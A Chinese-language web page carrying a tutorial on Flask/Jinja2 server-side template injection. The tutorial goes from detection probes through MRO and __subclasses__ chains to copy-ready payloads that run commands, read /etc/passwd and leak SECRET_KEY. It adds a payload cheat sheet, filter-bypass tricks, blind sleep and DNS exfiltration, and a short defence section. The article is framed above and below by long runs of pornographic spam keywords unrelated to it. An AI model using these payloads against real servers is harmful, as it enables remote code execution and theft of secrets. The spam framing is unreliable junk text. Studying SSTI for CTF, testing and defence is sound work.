久久亚洲成a人片熟女精品色一区二区三区|国产精品视频第一精品视频|av天堂热无码手机版|亚洲?v无码久久无遮挡|国产精品偷伦视频免费观看国产|麻豆国产自产精品丰满熟妇|av无码av不卡一区二区|久久亚洲精品中文字

ARTICLE DETAIL

資訊詳情

深耕商務(wù)建站與企業(yè)官網(wǎng)運(yùn)營(yíng)的一線實(shí)戰(zhàn)洞察。

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過(guò)防御

SSTI服務(wù)端模板注入實(shí)戰(zhàn):從Flask原理到繞過(guò)防御 第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過(guò)這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽(tīng)說(shuō)過(guò)變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見(jiàn)payload、過(guò)濾繞過(guò)和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過(guò)程的失控說(shuō)起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒(méi)有任何問(wèn)題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說(shuō)模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來(lái)自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見(jiàn)過(guò)很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見(jiàn)寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁(yè)面源碼存在數(shù)據(jù)庫(kù)里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過(guò)模板引擎渲染。如果誰(shuí)能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫(kù)注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語(yǔ)法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說(shuō)明表達(dá)式被執(zhí)行。第三種是注釋或者無(wú)意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語(yǔ)法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁(yè)面還是原樣返回{{7*7}}并不代表沒(méi)有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁(yè)面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過(guò)濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語(yǔ)法。模板里最常見(jiàn)的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語(yǔ)句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過(guò)濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問(wèn)對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫(kù)連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過(guò)幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過(guò)類找父類最后到達(dá)object或者某個(gè)工具類然后通過(guò)__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來(lái)索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來(lái)讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來(lái)拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒(méi)被隱藏頁(yè)面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫(kù)URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒(méi)關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來(lái)最短方便嵌套和拼接。問(wèn)題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過(guò)名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來(lái){% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說(shuō)明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過(guò)__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問(wèn)os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過(guò)__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來(lái)就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過(guò)濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說(shuō)明基礎(chǔ)探測(cè){{7*7}}返回49則說(shuō)明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來(lái)定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過(guò)濾與繞過(guò)實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見(jiàn)過(guò)濾規(guī)則前文說(shuō)的都是沒(méi)有過(guò)濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來(lái)最常見(jiàn)的過(guò)濾類型大概有五種過(guò)濾關(guān)鍵字比如__class__、popen、os、過(guò)濾特殊字符_、[、]、單雙引號(hào)、過(guò)濾數(shù)字、過(guò)濾{{ }}以及過(guò)濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過(guò)。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問(wèn)上都依賴[]和雙下劃線。第三種常見(jiàn)于需要傳數(shù)字索引的payload可以通過(guò)模板自身的解析技巧繞過(guò)。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒(méi)有注入點(diǎn)了但很多時(shí)候它們的過(guò)濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過(guò)組合先說(shuō)過(guò)濾[]。不管是__getitem__還是模板自帶的attr過(guò)濾器都能替代中括號(hào)下標(biāo)訪問(wèn)。例如.__class__如果被過(guò)濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過(guò)濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過(guò)濾可以用十六進(jìn)制編碼、Unicode編碼或者通過(guò)\x5f拼接繞過(guò)。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來(lái)\x5f就是下劃線字符。不過(guò)要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過(guò)濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問(wèn)這一步恰好能繞過(guò)很多簡(jiǎn)單的詞法過(guò)濾。4.3 無(wú)回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說(shuō)明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁(yè)面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來(lái)判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說(shuō)了這么多不如直接在本地把環(huán)境搭起來(lái)從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來(lái)做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來(lái)以后訪問(wèn)/?name{{7*7}}頁(yè)面返回Hello, 49!說(shuō)明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬(wàn)別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問(wèn)/?name{{config}}頁(yè)面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來(lái)偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問(wèn)/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁(yè)面會(huì)輸出一大串類列表。復(fù)制下來(lái)搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁(yè)面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過(guò)的坑不少總結(jié)幾個(gè)高頻問(wèn)題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來(lái)訪問(wèn)。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語(yǔ)句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問(wèn)字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過(guò)濾器或者用.__builtins__直接訪問(wèn)屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問(wèn)它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒(méi)有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來(lái)源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問(wèn)。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問(wèn)攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁(yè)面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒(méi)辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁(yè)面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見(jiàn)問(wèn)題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過(guò)濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問(wèn)報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來(lái)訪問(wèn)命令執(zhí)行失敗但探測(cè)成功被過(guò)濾了或目標(biāo)類無(wú)權(quán)限考慮盲打、繞過(guò)、或者換用文件讀取頁(yè)面返回500Payload語(yǔ)法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語(yǔ)法沒(méi)有問(wèn)題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過(guò)幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來(lái)說(shuō)寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來(lái)說(shuō)先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無(wú)虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
国产精品老师| 内射小黄片| 九九天堂| 操人人| 九九九九一级| 五月天激情国产综合婷婷婷| 加勒比久久综合网高清| 欧美午夜熟妇黑人精品91| 91Chinese在线| aa片毛片| 亚洲欧美啪啪| av中文字幕在线熟女| 精品九九九九九| 日韩av女优在线免费一区| 十八岁啪啪视频免费看| 91黑丝在线| …中文字幕亚洲乱,97人妻无码费视…| 强奸少妇AV导航网| 日人妻视频91| 夜夜夜夜夜夜夜夜夜狠狠狠狠狠狠狠| 精品在线观看视频在线| 久热在线精品免费观看| 午夜美女诱惑电源网| 欧美亚洲综合色| 欲香欲色| 九九九九AV| A啊啊在线观看| 国产精品色色| 91色艳| 97九色人妻| 欧美日韩第一页| 日本人人操人人操| 6080yy午夜理论三级一区二区三区无码| 狠狠躁日日躁夜夜躁A| 蜜臀AV秘一区翔田千里| 国产精品4p在线观看| 死我十八禁| 色在线69堂| 亚洲欧美在线综合| 天天综合色图| 亚州熟女乱伦| 在线有码中文字幕| 色狠狠 - 百度| 岛国片在线视频网站| 成人无遮挡毛片免费看| 久久久免费一级黄片| 人人 操人人 操人人| 国产精品在线一区二区| 伊人久久国产免费观看视频| 久久这里都是精品| 亚洲视频,小说| 日日夜夜国产综合| 日韩精品怡红院| 日韩精品99999| 玖玖人人爱| 91大神电影天堂| 亚洲欧美校园另类春色| 中 文字幕一区二区三四 五 区日 日 骚| 大香蕉操久久| 久久一二三级一一一| 国产精品2020| 中文日韩欧美熟| 亚洲成人妻日韩在线| 日韩ab网 | 亚洲久久天堂| 久草电影网| 91精品人妻一区二区三区蜜桃| 日韩成人人妻网站| 亚洲日精品| 蜜桃传媒视频第一区入口在线看| 国产成人 综合亚洲 天堂| 日韩一级成人毛片免费观看| 97日视频| 91狠狠| 美國A片| 97色在线观看| 噜噜瑟| yazhououmeizongya| 精品国产乱码| wwe 天天干.com| 日日夜夜国产综合| 午夜在线播放| 99色婷婷中文字幕乱色| 国产激情在线| 欧美精品久久久久久久久88| 欧美图片色综合| www.欧精品| 97视频免费在线| 中国AV美女| 中文字幕啊啊啊在线观看视频| 情色av电影| 91青青| 亚洲激情综合另类男同| 欧美超碰9798| 男人久久天堂| 免费观看国产小粉嫩喷水精品午| 色蜜AV| 天天日骚逼熟女| 日本精品中文字幕视频| 欧亚乱色熟女一区二区| 欧洲小说色图视频另类| 日本久久女同性恋视频| 久久精品美女一区| 日本天天干天天日一区| a一区二区三区乱码在线| 国产精品肉丝自拍| 午夜无遮挡男女啪啪视频| 18禁超污无遮挡无码免费网| 丝袜性亚洲| 淫荡网址| 欧美黄色片AAAAA| 绑缚麻绳人妻寝取完整版| 91操熟女| 91精品人妻一区二区三区蜜桃臀| 福利视频香蕉免费一区二区在线| 国产精品亚洲免费| 亚洲在线观看| www.色婷婷色综合| 亚洲第一男人天堂| 五月天婷婷久久| 久久成人东京热人妻| 九九探花视频在线观看| 精品9999| 欧美性爱免费短视频| 欧美色九九九| 亚洲AV成人精品网站在AV| 人妻99p| 欧美中字二区| 一级黄色视频网| 欧洲中文字幕| 伊人五月天激情| 欧美性视频二区三区| 日日干男人的天堂| 酒色综合网| 天天色综合天天操| 高清肉丝中文无码| 1024香蕉视频| 综合网少妇| av天堂影视中文在字幕在线中文| 亚洲av性爱电影| 极品粉嫩少妇视频| 亚 欧 美 综合| 亚洲伊人成综合成人网| 久草电影网| 91无人区卡一卡二卡三乱码入口最新版:能让用户有更多选择的选择-经典说说-爱 | 日本肉体xxxx裸交| 狠狠爱夜夜| 91n美女视频| 国产亚洲精品A在线观看下载| 日日日骚女人精品| 992这里有精品| 丁香七月婷婷| 日韩 女同 综合| 色婷婷狠狠18禁| 试看日韩黄片| 视频在线观看青青99国产| 亚洲国产第一页综合视频| 91丨九色丨国产丨人妻在线| 大香蕉中文201| 91成人久久| 精品视频久久| 少妇丝袜在线观看AV| 99色视频| 黄片视频观看| 超碰这里有精品| 久久极品伊人| 久久九九综合| 国产传媒日韩欧美| 国产一区二区精品久久久不卡蜜臀| 国语人妻精彩刺激| 岛园激情| 色婷网| 国产精品网址| 偷拍导航视频网站| 日产123区精品免费观看| 夜夜爽爽爽| 五月丁香社区婷婷日韩欧美精品影院 | 日本天堂在线播放| 久久水蜜臀亚洲AV无码精品| 色婷婷丁香五月| 免费福利视频中文字幕| 欧美激情性久久久久久| 亚洲欧美首页| 青青青在线高清视频在线一二三四区| 亚洲男人bt天堂| 日本黄色天堂| 色噜噜人妻丝袜AV资源| 99久久久无码| 成人五月香网在线| 狠狠激情综合狠狠操中文字幕| 免费啪啪av| 又粗又长又大国产不卡| 91色欧美| 一区二区视频在看| 久久久久久久九九九九| 久久久性爱| 91精品操美女| 97操B| 精品无人区麻豆乱码1区2区图片| 国产AV天美传媒一区二区三区| 天天干天天日天天射黄色片| 91网站视频在线观看| 久久久久成人亚洲国产| 激情综合二| 欧美大香蕉专区网| 亚洲av影音先锋| 国产家庭乱伦性爱视频| 色在线亚洲视频www| 中文字幕一区电影在线观看| 一个人免费HD91视频| 97在线观看播放视频| 人人玩人人添人人澡免费| 岛国A V在线免费看| 女人与公拘交酡2020视频| 无码久久亚洲高清,| 亚洲国产精品久久AV| 蜜桃av色偷偷av老熟女| 伊人网青青| 国产黄色影片在线观看| 人人操,操人人| 欧美性生活综合| 天天做天天爱| 丁香激情五月天| 大香交伊人网| 高树玛利亚无码流出| 欧洲射精91| 无码免费在线观看黄色片| 精品.99999| 91婷婷伊人狠人| 五月天人妻综合| 亚洲天天精品| 中国熟妇| 不卡中文字幕aⅴ在线| 老熟女乱伦一区| 免费一级性爱久久| 操逼日韩无码| 67194无码不卡| 97色涩| 超碰1997| 天天干电影| 嗯啊视频免费在线观看| 婷婷丁香五月激情啪啪| 99自拍B亚洲 | 又黄又爽在线观看视频| 